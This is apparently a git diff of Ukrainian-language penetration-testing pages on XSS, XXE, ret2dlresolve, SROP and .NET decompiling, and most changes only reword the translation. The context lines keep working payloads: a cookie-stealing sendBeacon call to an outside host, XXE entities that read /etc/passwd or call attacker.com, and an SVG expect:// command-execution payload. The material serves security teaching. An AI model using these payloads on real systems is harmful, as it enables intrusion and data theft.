Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисно мати корисний payload для міжсайтового скриптингу.
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати навантаження XSS у тілі.\
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати payload XSS у тілі.\
Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _порожній заголовок Location_, `resource://`.
### Тільки літери, цифри та крапки
@ -840,7 +840,7 @@ document['default'+'View'][`\u0061lert`](3)
> Відмовлено у виконанні скрипта з [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (application/octet-stream) не є виконуваним, і строгий контроль MIME-типів увімкнено.
Єдині **Content-Type**s, які підтримуватимуть Chrome для виконання **завантаженого скрипта**, - це ті, що містяться в константі **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Єдині **Content-Type**s, які дозволять Chrome виконати **завантажений скрипт**, - це ті, що містяться в константі **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -941,7 +941,7 @@ import { partition } from "lodash"
```
### Спеціальні шаблони заміни
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, атакуючий може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, зловмисник може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **втечі JSON рядка** всередині скрипта та виконання довільного коду.
@ -951,7 +951,7 @@ import { partition } from "lodash"
chrome-cache-to-xss.md
{{#endref}}
### Втеча з XS Jails
### Втеча XS Jails
Якщо у вас є лише обмежений набір символів для використання, перевірте ці інші дійсні рішення для проблем XSJail:
```javascript
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Аналогічно попередньому прикладу, можливо **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
У схожий спосіб, як у попередньому прикладі, можливо **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
```javascript
try {
null.f()
@ -1267,7 +1267,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Ви **не зможете отримати доступ до куків з JavaScript**, якщо у куку встановлено прапор HTTPOnly. Але тут ви маєте [декілька способів обійти цю захист](../hacking-with-cookies/#httponly), якщо вам пощастить.
> Ви **не зможете отримати доступ до куків з JavaScript**, якщо у куці встановлено прапор HTTPOnly. Але тут ви маєте [декілька способів обійти цю захист](../hacking-with-cookies/#httponly), якщо вам пощастить.
### Вкрасти вміст сторінки
```javascript
@ -1358,9 +1358,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Короткі часи вказують на відкритий порт_ _Довші часи вказують на відсутність відповіді._
_Короткі часи вказують на відгук порту_ _Довші часи вказують на відсутність відповіді._
Перегляньте список портів, заборонених у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Перегляньте список заборонених портів у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Поле для запиту облікових даних
```markup
@ -1425,7 +1425,9 @@ shadow-dom.md
### Поліглоти
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Сліпі XSS пейлоади
@ -1471,7 +1473,7 @@ shadow-dom.md
```
### Regex - Доступ до прихованого контенту
З [**цього опису**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в атрибутах JS в різних об'єктах. Наприклад, введення REGEX все ще можна знайти після того, як значення введення regex було видалено:
З [**цього опису**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в атрибутах JS в різних об'єктах. Наприклад, вхідне значення REGEX все ще можна знайти після того, як значення вхідного параметра regex було видалено:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1488,9 +1490,11 @@ console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### Список Брутфорсів
### Список Брутфорс
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Використання інших вразливостей
@ -1526,13 +1530,13 @@ server-side-xss-dynamic-pdf.md
pdf-injection.md
{{#endref}}
### XSS у Amp4Email
### XSS в Amp4Email
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує ряд компонентів для різних функцій, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites).
Формат [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює специфічні компоненти AMP для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо в їхніх електронних листах.
Приклад [**writeup XSS у Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Приклад [**writeup XSS в Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS завантаження файлів (svg)

View File

@ -8,9 +8,9 @@ XML - це мова розмітки, призначена для зберіга
- **Подання даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `&lt;` та `&gt;`, які відповідають `<` та `>` для уникнення конфлікту з системою тегів XML.
- **Визначення елементів XML**: XML дозволяє визначати типи елементів, окреслюючи, як елементи повинні бути структуровані та який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.
- **Визначення типу документа (DTD)**: DTD є важливими в XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінацією, вказуючи, як документи формуються та перевіряються.
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого подання даних. Зовнішні сутності, визначені за допомогою URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати методи виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, щоб підтвердити вразливість.
- **Визначення типу документа (DTD)**: DTD є важливими в XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінацією, керуючи тим, як документи формуються та перевіряються.
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого подання даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати методи виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, для підтвердження вразливості.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -65,7 +65,7 @@ XML - це мова розмітки, призначена для зберіга
### Перелік директорій
У додатках на основі **Java** може бути можливим **перелічити вміст директорії** через XXE з корисним навантаженням, як (просто запитуючи директорію замість файлу):
У **Java**-базованих додатках може бути можливим **перелічити вміст директорії** через XXE з корисним навантаженням, як (просто запитуючи директорію замість файлу):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -93,7 +93,7 @@ XXE може бути використано для зловживання SSRF
**У цьому випадку ми змусимо сервер завантажити новий DTD з шкідливим корисним навантаженням, яке надішле вміст файлу через HTTP-запит (для багаторядкових файлів ви можете спробувати витягти його через \_ftp://**\_ використовуючи цей базовий сервер, наприклад [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Це пояснення базується на** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
У даному шкідливому DTD проводиться серія кроків для витоку даних:
У даному шкідливому DTD проводиться ряд кроків для витоку даних:
### Приклад шкідливого DTD:
@ -148,7 +148,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
### **Помилка на основі (системний DTD)**
Отже, що з сліпими вразливостями XXE, коли **взаємодії поза каналом заблоковані** (зовнішні з'єднання недоступні)?
Отже, що робити з уразливостями сліпого XXE, коли **взаємодії поза каналом заблоковані** (зовнішні з'єднання недоступні)?
Лазівка в специфікації мови XML може **викрити чутливі дані через повідомлення про помилки, коли DTD документа поєднує внутрішні та зовнішні декларації**. Ця проблема дозволяє внутрішню перезапис сутностей, оголошених зовні, що полегшує виконання атак XXE на основі помилок. Такі атаки експлуатують перезапис сутності параметра XML, спочатку оголошеного в зовнішньому DTD, зсередини внутрішнього DTD. Коли з'єднання поза каналом заблоковані сервером, зловмисники повинні покладатися на локальні файли DTD для проведення атаки, намагаючись викликати помилку парсингу, щоб розкрити чутливу інформацію.
@ -165,7 +165,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
%local_dtd;
]>
```
Описані кроки виконуються цим DTD:
Виконані кроки реалізуються цим DTD:
- Визначення XML параметричної сутності з назвою `local_dtd` включає зовнішній DTD файл, розташований на файловій системі сервера.
- Відбувається повторне визначення для XML параметричної сутності `custom_entity`, спочатку визначеної у зовнішньому DTD, щоб інкапсулювати [експлойт на основі помилки XXE](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Це повторне визначення призначене для викликання помилки парсингу, що відкриває вміст файлу `/etc/passwd`.
@ -188,7 +188,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
```
![](<../images/image (625).png>)
Оскільки ця техніка використовує **внутрішній DTD, вам спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, яке використовує сервер, і **шукаючи деякі стандартні DTD**, або **отримавши список** **стандартних DTD** в системах і **перевіривши**, чи існує який-небудь з них:
Оскільки ця техніка використовує **внутрішній DTD, спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, яке використовує сервер, і **шукаючи деякі стандартні DTD**, або **отримавши список** **стандартних DTD** в системах і **перевіривши**, чи існує який-небудь з них:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -201,7 +201,9 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
У наступному чудовому репозиторії на github ви можете знайти **шляхи DTD, які можуть бути присутніми в системі**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
{{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Більше того, якщо у вас є **Docker-образ жертви**, ви можете використовувати інструмент з того ж репозиторію, щоб **сканувати** **образ** і **знайти** шлях до **DTD**, присутніх у системі. Прочитайте [Readme репозиторію на github](https://github.com/GoSecure/dtd-finder), щоб дізнатися як.
```bash
@ -221,9 +223,9 @@ Testing 0 entities : []
Можливість **завантажувати документи Microsoft Office пропонується багатьма веб-додатками**, які потім витягують певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде розпарсити принаймні один XML файл.
Щоб перевірити цю вразливість, необхідно створити **файл Microsoft Office, що містить XXE payload**. Першим кроком є створення порожньої директорії, куди документ може бути розпакований.
Щоб перевірити цю вразливість, необхідно створити **файл Microsoft Office, що містить XXE payload**. Першим кроком є створення порожньої директорії, в яку документ може бути розпакований.
Після того, як документ буде розпакований, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати у вибраному текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
Після того, як документ буде розпакований, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати в улюбленому текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
Змінені XML рядки слід вставити між двома кореневими XML об'єктами. Важливо замінити URL на моніторинговий URL для запитів.
@ -243,8 +245,8 @@ jar:https://download.host.com/myarchive.zip!/file.txt
Процес доступу до файлу в архіві PKZIP через протокол jar включає кілька етапів:
1. Виконується HTTP-запит для завантаження zip-архіву з вказаного місця, наприклад, `https://download.website.com/archive.zip`.
2. HTTP-відповідь, що містить архів, тимчасово зберігається в системі, зазвичай у місці на зразок `/tmp/...`.
1. HTTP-запит надсилається для завантаження zip-архіву з вказаного місця, наприклад, `https://download.website.com/archive.zip`.
2. HTTP-відповідь, що містить архів, тимчасово зберігається в системі, зазвичай у місці на кшталт `/tmp/...`.
3. Архів потім розпаковується для доступу до його вмісту.
4. Конкретний файл в архіві, `file.zip`, читається.
5. Після операції будь-які тимчасові файли, створені під час цього процесу, видаляються.
@ -255,7 +257,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
<foo>&xxe;</foo>
```
> [!CAUTION]
> Запис файлів у тимчасовому каталозі може допомогти **ескалації іншої вразливості, що стосується обходу шляху** (такої як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
> Запис файлів у тимчасовому каталозі може допомогти **ескалації іншої вразливості, що пов'язана з обходом шляху** (такою як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
### XSS
```xml
@ -310,7 +312,7 @@ Responder.py -I eth0 -v
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на зміну елемента `DOCTYPE`. Однак атака `XInclude` надає рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод є ефективним навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
Щоб виконати атаку `XInclude`, необхідно оголосити простір імен `XInclude`, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стиснутий приклад того, як можна сформулювати таку атаку:
Щоб виконати атаку `XInclude`, необхідно оголосити простір імен `XInclude`, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як така атака може бути сформульована:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -326,13 +328,13 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Інший метод полягає в спробі **виконати команди** через PHP "expect" обгортку:
Інший метод полягає в спробі **виконати команди** через обгортку PHP "expect":
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
У обох випадках формат SVG використовується для запуску атак, які експлуатують можливості обробки XML програмного забезпечення сервера, підкреслюючи необхідність надійної перевірки введення та заходів безпеки.
У обох випадках формат SVG використовується для запуску атак, які експлуатують можливості обробки XML програмного забезпечення сервера, підкреслюючи необхідність надійної валідації введення та заходів безпеки.
Перевірте [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) для отримання додаткової інформації!
@ -356,7 +358,7 @@ Content-Length: 7
foo=bar
```
Тоді ви, можливо, зможете надіслати наступний запит з тим самим результатом:
Тоді ви зможете надіслати наступний запит, з тим самим результатом:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -366,7 +368,7 @@ Content-Length: 52
```
### Content-Type: Від JSON до XEE
Щоб змінити запит, ви можете використовувати розширення Burp під назвою “**Content Type Converter**“. [Тут](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) ви можете знайти цей приклад:
Щоб змінити запит, ви можете використовувати розширення Burp під назвою “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
```xml
Content-Type: application/json;charset=UTF-8
@ -418,17 +420,17 @@ Content-Type: application/xml;charset=UTF-8
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### File:/ Protocol Bypass
### File:/ Протокол обхід
Якщо веб використовує PHP, замість використання `file:/` ви можете використовувати **php wrappers**`php://filter/convert.base64-encode/resource=` для **доступу до внутрішніх файлів**.
Якщо веб використовує Java, ви можете перевірити [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
Якщо веб використовує Java, ви можете перевірити [**jar: протокол**](xxe-xee-xml-external-entity.md#jar-protocol).
### HTML Entities
### HTML Сутності
Трюк з [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Ви можете створити **сущність всередині сущності**, закодувавши її за допомогою **html entities**, а потім викликати її для **завантаження dtd**.\
Зверніть увагу, що **HTML Entities**, які використовуються, повинні бути **числовими** (як \[в цьому прикладі]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
Ви можете створити **сутність всередині сутності**, закодувавши її за допомогою **html сутностей**, а потім викликати її для **завантаження dtd**.\
Зверніть увагу, що використані **HTML Сутності** повинні бути **числовими** (як \[в цьому прикладі]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -474,7 +476,7 @@ Content-Type: application/xml;charset=UTF-8
Цей приклад натхненний [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) використовується для стандартизації обміну даними в процесах локалізації. Це формат на основі XML, який в основному використовується для передачі локалізованих даних між інструментами під час локалізації та як загальний формат обміну для CAT (Computer-Aided Translation) інструментів.
XLIFF (XML Localization Interchange File Format) використовується для стандартизації обміну даними в процесах локалізації. Це формат на основі XML, який в основному використовується для передачі локалізованих даних між інструментами під час локалізації та як загальний формат обміну для інструментів CAT (Computer-Aided Translation).
### Blind Request Analysis
@ -512,7 +514,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Цей підхід показує, що User Agent вказує на використання Java 1.8. Відзначеною обмеженням цієї версії Java є неможливість отримати файли, що містять символ нового рядка, такі як /etc/passwd, використовуючи техніку Out of Band.
Цей підхід показує, що User Agent вказує на використання Java 1.8. Відзначеною обмеженням цієї версії Java є неможливість отримання файлів, що містять символ нового рядка, таких як /etc/passwd, за допомогою техніки Out of Band.
Витік даних на основі помилок Щоб подолати це обмеження, використовується підхід на основі помилок. Файл DTD структурований наступним чином, щоб викликати помилку, яка включає дані з цільового файлу:
```xml
@ -525,7 +527,7 @@ Content-Type: application/x-xliff+xml
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Щоб включити вміст файлу в повідомлення про помилку, файл DTD налаштовується:
Щоб включити вміст файлу в повідомлення про помилку, DTD файл налаштовується:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
@ -671,7 +673,9 @@ XMLDecoder - це клас Java, який створює об'єкти на ос
```
## Інструменти
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## Посилання
@ -684,5 +688,4 @@ XMLDecoder - це клас Java, який створює об'єкти на ос
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic Information
Як пояснюється на сторінці про [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) та [**Relro**](../common-binary-protections-and-bypasses/relro.md), бінарники без Full Relro будуть розв'язувати символи (як адреси до зовнішніх бібліотек) під час їх першого використання. Це розв'язання відбувається через виклик функції **`_dl_runtime_resolve`**.
Як пояснюється на сторінці про [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) та [**Relro**](../common-binary-protections-and-bypasses/relro.md), бінарники без Full Relro будуть розв'язувати символи (як адреси до зовнішніх бібліотек) під час їх першого використання. Це розв'язання відбувається при виклику функції **`_dl_runtime_resolve`**.
Функція **`_dl_runtime_resolve`** отримує зі стеку посилання на деякі структури, які їй потрібні для розв'язання вказаного символу.
@ -17,7 +17,9 @@
Ви можете знайти краще пояснення цієї техніки в другій половині відео:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Structures

View File

@ -6,9 +6,9 @@
**`Sigreturn`** - це спеціальний **syscall**, який в основному використовується для очищення після завершення виконання обробника сигналів. Сигнали - це переривання, які надсилаються програмі операційною системою, часто для вказівки на те, що сталася якась виняткова ситуація. Коли програма отримує сигнал, вона тимчасово призупиняє свою поточну роботу, щоб обробити сигнал за допомогою **обробника сигналів**, спеціальної функції, призначеної для роботи з сигналами.
Після завершення обробника сигналів програма повинна **відновити свій попередній стан**, ніби нічого не сталося. Тут і вступає в гру **`sigreturn`**. Він допомагає програмі **повернутися з обробника сигналів** і відновлює стан програми, очищаючи стековий фрейм (сектор пам'яті, що зберігає виклики функцій і локальні змінні), який використовувався обробником сигналів.
Після завершення обробника сигналів програма повинна **відновити свій попередній стан**, ніби нічого не сталося. Тут і вступає в гру **`sigreturn`**. Він допомагає програмі **повернутися з обробника сигналів** і відновлює стан програми, очищаючи стек фрейм (сектор пам'яті, який зберігає виклики функцій і локальні змінні), що використовувався обробником сигналів.
Цікава частина полягає в тому, як **`sigreturn`** відновлює стан програми: він робить це, зберігаючи **всі значення регістрів ЦП на стеку.** Коли сигнал більше не заблокований, **`sigreturn` витягує ці значення зі стеку**, ефективно скидаючи регістри ЦП до їх стану до обробки сигналу. Це включає регістр вказівника стеку (RSP), який вказує на поточну верхню частину стеку.
Цікава частина полягає в тому, як **`sigreturn`** відновлює стан програми: він робить це, зберігаючи **всі значення регістрів ЦП на стеку.** Коли сигнал більше не заблокований, **`sigreturn` витягує ці значення зі стека**, ефективно скидаючи регістри ЦП до їх стану до обробки сигналу. Це включає регістр вказівника стека (RSP), який вказує на поточну верхню частину стека.
> [!CAUTION]
> Виклик syscall **`sigreturn`** з ROP-ланцюга та **додавання значень регістрів**, які ми хочемо завантажити в **стек**, дозволяє **контролювати** всі значення регістрів і, отже, **викликати**, наприклад, syscall `execve` з `/bin/sh`.
@ -21,7 +21,9 @@ rop-syscall-execv.md
Для кращого пояснення також перегляньте:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Example

View File

@ -35,19 +35,19 @@ dotPeek - це декомпіллятор, який **декомпіллює т
- Надає уявлення про те, як дані проходять через бібліотеку або компонент
- Надає уявлення про реалізацію та використання мов і фреймворків .NET
- Знаходить не задокументовану та не відкриту функціональність, щоб отримати більше з API та технологій, що використовуються.
- Знаходить не задокументовану та не виставлену функціональність, щоб отримати більше з API та технологій, що використовуються.
- Знаходить залежності та різні збірки
- Відстежує точне місце розташування помилок у вашому коді, сторонніх компонентах та бібліотеках.
- Відстежує точне місце помилок у вашому коді, сторонніх компонентах та бібліотеках.
- Відлагоджує до джерела всього коду .NET, з яким ви працюєте.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Плагін ILSpy для Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Ви можете мати його на будь-якій ОС (ви можете встановити його безпосередньо з VSCode, немає потреби завантажувати git. Натисніть на **Розширення** та **пошук ILSpy**).\
[Плагін ILSpy для Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Ви можете мати його в будь-якій ОС (ви можете встановити його безпосередньо з VSCode, немає потреби завантажувати git. Натисніть на **Розширення** та **пошук ILSpy**).\
Якщо вам потрібно **декомпіллювати**, **модифікувати** та **знову компілювати**, ви можете використовувати [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) або активно підтримуваний форк, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Правий клік -> Модифікувати метод**, щоб змінити щось всередині функції).
### Логування DNSpy
Щоб **DNSpy записував деяку інформацію у файл**, ви можете використовувати цей фрагмент:
Щоб **DNSpy записував деяку інформацію в файл**, ви можете використовувати цей фрагмент:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -70,7 +70,7 @@ DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
```
І натисніть **compile**:
І натисніть на **compile**:
![](<../../images/image (314) (1).png>)
@ -78,9 +78,9 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
![](<../../images/image (602).png>)
